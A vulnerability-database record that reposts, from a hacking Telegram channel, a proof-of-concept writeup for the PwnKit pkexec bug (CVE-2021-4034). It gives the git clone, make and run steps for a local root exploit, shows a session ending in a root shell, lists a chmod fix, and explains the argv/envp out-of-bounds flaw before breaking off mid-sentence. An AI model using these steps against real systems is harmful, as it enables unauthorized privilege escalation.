{"uuid": "d8ec91f5-318d-4ae4-b6d5-484042a78786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4034", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49542", "content": "Kali Linux Tutorials\nPwnKit-Exploit : Proof Of Concept (PoC) CVE-2021-4034\n\nPwnKit-Exploit, a local privilege escalation\u00a0vulnerability\u00a0was found on polkit\u2019s pkexec utility. The pkexec application is a setuid tool designed\u00a0to allow unprivileged users to run commands as privileged users according predefined policies.\n\nProof of Concept\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwOAMbH6gZ2_kTUN_lO02kOrPeI3FMDYomWDhZq46xnVq4v587S9dkffvOgIM-0aVE9tHqJiMBa_AvgSWkbClCkTxac5KwTsxkvDedBV916XbjLTksFxOjRdcbnip_8LvQAkZuxjsF1gZYoTCoLbfYX7gNtpmofZ222Y3YEtx9CGYdzyg-s0K8rv2T/s988/68747470733a2f2f6a2e676966732e636f6d2f5851704c38382e676966.gif \ndebian@debian:~/PwnKit-Exploit$ make\ncc -Wall exploit.c -o exploit\ndebian@debian:~/PwnKit-Exploit$ whoami\ndebian\ndebian@debian:~/PwnKit-Exploit$ ./exploit\nCurrent User before execute exploit\nhacker@victim$whoami: debian\nExploit written by @luijait (0x6c75696a616974)\n[+] Enjoy your root if exploit was completed succesfully\nroot@debian:/home/debian/PwnKit-Exploit# whoami\nroot\nroot@debian:/home/debian/PwnKit-Exploit# FixCommandUsesudo chmod 0755 pkexecFix CVE 2021-4034 \nInstallation & Use git clone https://github.com/luijait/PwnKit-Exploitcd PwnKit-Exploitmake./exploitwhoamiCommandUtilitymake cleanClean build to test code modified ExplanationBased blog.qualys.com\n\nThe beginning of pkexec\u2019s main() function processes the command-line arguments (lines 534-568), and searches for the program to be executed, if its path is not absolute, in the directories of the PATH environment variable (lines 610-640):\n\n435 main (int argc, char *argv[])\n436 {\n534 for (n = 1; n < (guint) argc; n++)\n535 {\n568 }\n610 path = g_strdup (argv[n]);\n629 if (path[0] != \u2018/\u2019)\n630 {\n632 s = g_find_program_in_path (path);\n639 argv[n] = path = s;\n640 }\n\nunfortunately, if the number of command-line arguments argc is 0 \u2013 which means if the argument list argv that we pass to execve() is empty, i.e. {NULL} \u2013 then argv[0] is NULL. This is the argument list\u2019s terminator. Therefore:\n\nat line 534, the integer n is permanently set to 1; at line 610, the pointer path is read out-of-bounds from argv[1]; at line 639, the pointer s is written out-of-bounds to argv[1]. But what exactly is read from and written to this out-of-bounds argv[1]?\n\nTo answer this question, we must digress briefly. When we execve() a new program, the kernel copies our argument, environment strings, and pointers (argv and envp) to the end of the new program\u2019s stack; for example:\nargv[0]argv[1]\u2026argv[argc]envp[0]envp[1]\u2026envp[envc]V V V V V V \n\u201cprogram\u201d \u201c-option\u201d NULL \u201cvalue\u201d \u201cPATH=name\u201d NULL\n\nClearly, because the argv and envp pointers are contiguous in memory, if argc is 0, then the out-of-bounds argv[1] is actually envp[0], the pointer to our first environment variable, \u201cvalue\u201d. Consequently:\n\nAt line 610, the path of the program to be executed is read out-of-bounds from argv[1] (i.e. envp[0]), and points to \u201cvalue\u201d; At line 632, this path \u201cvalue\u201d is passed to g_find_program_in_path() (because \u201cvalue\u201d does not start with a slash, at line 629); Then, g_find_program_in_path() searches for an executable file named \u201cvalue\u201d in the directories of our PATH environment variable; If such an executable file is found, its full path is returned to pkexec\u2019s main() function (at line 632); Finally, at line 639, this full path is written out-of-bounds to argv[1] (i.e. envp[0]), thus overwriting our first environment variable. So, stated more precisely:\n\nIf our PATH environment variable is \u201cPATH=name\u201d, and if the directory \u201cname\u201d exists (in the current working directory) and contains an executable file named \u201cvalue\u201d, then a pointer to the string \u201cname/value\u201d is written out-of-bounds to envp[0]; OR\n\nIf our PATH is \u201cPATH=name=.\u201d, and if the directory \u201cname=.\u201d exists and contains an executable file named \u201cvalue\u201d, th[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T02:00:04.010892Z"}